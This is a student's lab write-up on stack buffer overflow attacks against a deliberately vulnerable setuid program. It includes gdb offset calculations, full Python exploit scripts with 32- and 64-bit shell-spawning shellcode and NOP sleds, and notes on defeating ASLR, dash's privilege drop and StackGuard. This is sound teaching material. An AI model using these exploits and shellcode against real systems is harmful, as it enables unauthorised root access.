Skip to the content.

Author: Sai Kiran Belana Course: Computer Security

Task 1: Invoking the Shellcode

When ran make, it executes the the /bin/zsh shell with current user as seed

Executing with make setuid, gives me access to /bin/sh as root.

Other Observations:

Default - Running with execstack With execstack flag enabled, I can observe that the code in stack can be executable and has given more shell access.

Disabling execstack: Upon removing the execstack option, I can see the code in stack cannot be executed and it goes into segmentation fault.

I tried using gdb to read the segmentation fault core file and noticed the code in stack isn’t executable since the stack is not allowed to do so because of memory protection.

So, if I enable the execstack flag in Makefile, it will be given access to execute in stack.


Task 2: Understanding the Vulnerable Program

I created an empty badfile file by running

touch badfile

I have run the compilation steps given in the document.

gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c

# making root to own the program
sudo chown root stack 

# giving rwx to current user 
sudo chmod 4755 stack

since I created an empty badfile, the execution just reads that empty file and tries to copy using strcpy to buffer

Whatever the size of BUF_SIZE is, all the stack* executables are successful and returns properly due to the input size is empty(0).


Task 3: Launching Attack on 32-bit Program.

Running the given exploit.py file to exploit the vulnerability in out stack.c program.

After compiling, I ran the makefile. Now debugging the stack-L1-dbg file.

Added a break point for function bof

gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.

Run the program and checked the values of ebp and buffer

gdb-peda$ run
gdb-peda$ next
Legend: code, data, rodata, value
20	    strcpy(buffer, str);  
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb28
gdb-peda$ p &buffer
$1 = (char (*)[100]) 0xffffcabc
gdb-peda$ p/d 0xffffcb28 - 0xffffcabc
$3 = 108

I could see the diff b/w ebp and buffer is about 108 bytes.

from this observation we can conclude the offset is 108 + 4 = 112. We can use this value in the exploit.py script as offset

#!/usr/bin/python3
import sys

shellcode = (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
start = 400               # Change this number 
content[start:start + len(shellcode)] = shellcode

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffcb28+200         # Change this number 
offset = 112              # Change this number 

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

i have started at 400th byte in the payload and filled the shellcode with the value available in call_shellcode.c file.

I took the ebp value and tried to get to the NOP section to access my shellcode. Also added the calculated offset.

After that, I ran the exploit.py to fill the badfile to have shellcode in it.

We can observe that I gained root access when running the stack-L1.


Task 4

Similar to Task 3, I ran makefile to generate stack-l2-dbg for debugging with gdb

added break at bof

buffer value:

gdb-peda$ p &buffer
$1 = (char (*)[160]) 0xffffca80
#!/usr/bin/python3
import sys

shellcode = (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517)) 

##################################################################
# Put the shellcode somewhere in the payload
# start = 400    #not needed for task 4           # Change this number 
content[517 - len(shellcode): ] = shellcode # adding shellcode at end of badfile

# Decide the return address value 
# and put it somewhere in the payload
ret    = 0xffffca80 + 300       #I need to jump high enough to go inside NOP. Beginning of buffer + 300
# offset = 112              # Change this number 


L = 4     # Use 4 for 32-bit address and 8 for 64-bit address

# spray the entire address with our return address.
for offset in range(50): # since b/w 100 and 200, I divide 200/4  = 50 to for range to add return address entirely
	content[offset*L:offset*4 + L] = (ret).to_bytes(L,byteorder='little') 
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

Now, I got the rootshell access.


Task 5

rbp and buffer values in debug mode:

Breakpoint 1, bof (str=0x7fffffffe0d0 "") at stack.c:16
16	{
gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffe160
gdb-peda$ p &buffer
$2 = (char (*)[200]) 0x7fffffffdc80

The difference b/w buffer starting point and rbp is 208. So, offset would be +8 for it which would be 216.

#!/usr/bin/python3
import sys

shellcode = (
 "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode # adding shellcode at end of badfile

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffffe160 + 500       #I need to jump high enough to go inside NOP. Beginning of buffer + 300
offset = 208+8 #(208 as diff and add 8 bytes since its 64 bit achine)              # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

tried different combinations and jumped to 500 and tried it.

after running the code, I was able to gain root access using the 64 bit method.


Task 6: Launching Attack on 64-bit Program

rbp and buffer values are:

gdb-peda$ p $rbp
$1 = (void *) 0x7fffffffdd50
gdb-peda$ p &buffer
$2 = (char (*)[10]) 0x7fffffffdd46

offset is 10+8 = 18 for 64 bit.

#!/usr/bin/python3
import sys

shellcode = (
 "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode # adding shellcode at end of badfile

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x7fffffffdd46 + 1400       #I need to jump high enough to go inside NOP. Beginning of buffer + 300
offset = 18 #(208 as diff and add 8 bytes since its 64 bit achine)              # Change this number

L = 8     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

To gain root access, I was trying to jump from buffer as high as possible to get into root shell and it succeeded.


Tasks 7: Defeating dash’s Countermeasure

My steps is to create a symlink for /bin/sh target /bin/bash

sudo ln -sf /bin/dash /bin/sh

Running make setuid

I can see I get normal user access instead of root.

Coming to code and checking the addresses of ebp and buffer and calculating the offset

gdb-peda$ p $rbp
$1 = void
gdb-peda$ p $ebp
$2 = (void *) 0xffffcee8
gdb-peda$ p &buffer
$3 = (char (*)[100]) 0xffffce7c

buffer address: 0xffffce7c

gdb-peda$ p/d  0xffffcee8 - 0xffffce7c
$5 = 108

With these values, I have modified exploit.py as follows and came to a threshold value where I can jump into root to gain its access.

#!/usr/bin/python3
import sys

# Updated 32-bit shellcode with setuid(0)

shellcode = (
    "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    "\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
    "\x0b\xcd\x80"
).encode('latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xffffce7c+300         # Change this number
offset = 112              # Change this number

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)

Result: we can see, now, I’m able to gain root access.


Task 8: Defeating Address Randomization

Ran the code brute-force.sh

The brute-force worked while running just for 45400 time which took hardly 44 seconds. I understand why it took so long.

So even when we randomize virtual address space, when we can just bruteforce it with enough computational power, we can still gain root control. (Interesting). I couldn’t run for 64 bit machine since it takes quit long(not required as per project spec because the entropy is much larger).

result:


Tasks 9: Experimenting with Other Countermeasures

Task 9.a: Turn on the StackGuard Protection

Turned off address randomization

03/14/25]seed@VM:~/.../code$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

Removed the flag -fno-stack-protector and recompiled

result:

The attack is just terminated because of stackGuard protection enabled by default in newer ubuntu versions and gcc above 4.3

I’m using gcc 9.3

[03/14/25]seed@VM:~/.../code$ gcc --version
gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Task 9.b: Turn on the Non-executable Stack Protection

I have turned on the non-executbale stack protection as mentioned by removing the flag noexecstack and recompiled. I can see that I directly get the error saying segmentation fault.

The End